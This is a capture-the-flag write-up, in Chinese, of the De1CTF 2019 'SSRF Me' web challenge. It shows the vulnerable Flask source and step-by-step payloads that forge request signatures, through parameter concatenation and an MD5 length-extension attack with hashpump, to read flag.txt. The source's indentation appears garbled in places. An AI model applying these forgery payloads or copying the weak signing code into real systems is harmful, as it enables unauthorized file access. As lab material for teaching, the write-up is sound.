De1CTF 2019

Web

SSRF Me

from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 
reload(sys) 
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)


class Task: 
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
            
    def Exec(self): 
        result = {} 
        result['code'] = 500
        if (self.checkSign()): 
            if "scan" in self.action: 
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"): 
                    result['data'] = resp 
                else: 
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: 
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
                if result['code'] == 500:
                    result['data'] = "Action Error"
                else: 
                    result['code'] = 500
                    result['msg'] = "Sign Error"
                return result
            
    def checkSign(self): 
        if (getSign(self.action, self.param) == self.sign): 
            return True 
        else: 
            return False #generate Sign For Action Scan. 
        

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) # 将 param 的参数解码为原始的字符串形式,若为空则为空字符串
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/') 
def index(): 
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try: 
        return urllib.urlopen(param).read()[:50] # 只返回URL内容的前50个字符
    except: 
        return "Connection Timeout" 

def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content): 
    return hashlib.md5(content).hexdigest()

def waf(param): 
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True 
    else: 
        return False 
    
if __name__ == '__main__': 
    app.debug = False
    app.run(host='0.0.0.0',port=80)

可以获得一个 Hint flag is in ./flag.txt ,目标就是要通过上述代码中的 Task::Exec 将 flag.txt 写入 result.txt 再读取 result.txt 获得 flag 。由于判断语句是通过 in 关键字来判断的,因此如果 self.action 中既有 read 也有 scan 即可同时执行。

首先需要通过 checkSign() ,先利用 getSign() 生成 Sign 可以得到 md5(secert_key + param + action) 。通过构造 Payload 如下

/geneSign?param=flag.txtread

即可得到 action 为 readscan 的 Sign ,如下

278aeedb3970f05c3fef9a85aaf08244

然后构造 Payload 如下来使得 flag.txt 写入 result.txt 再读取 result.txt 。

[GET]param=flag.txt
[Cookie]action=readscan;sign=278aeedb3970f05c3fef9a85aaf08244

就可以得到 flag 了,也可以通过 MD5 长度拓展攻击解决这道题,先获取 md5(secert_key + flag.txt + scan) 的值,构造 Payload 如下

/geneSign?param=flag.txt

可以得到回显如下

a62c5d4965f4123788ba12dceef01014

通过 secert_key = os.urandom(16) 可知 secert_key 长 16 位,通过 hashpump 进行生成 Payload,如下

$ hashpump
Input Signature: a62c5d4965f4123788ba12dceef01014
Input Data: scan
Input Key Length: 24
Input Data to Add: read
c151ad5274e2e828bc2eb58f76e2a506
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

就可以求出 md5(secert_key + flag.txt + scan + padding + read) 的值,通过构造 Payload 如下

[GET]param=flag.txt
[Cookie]sign=c151ad5274e2e828bc2eb58f76e2a506;action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read

即可得到 flag。

Last updated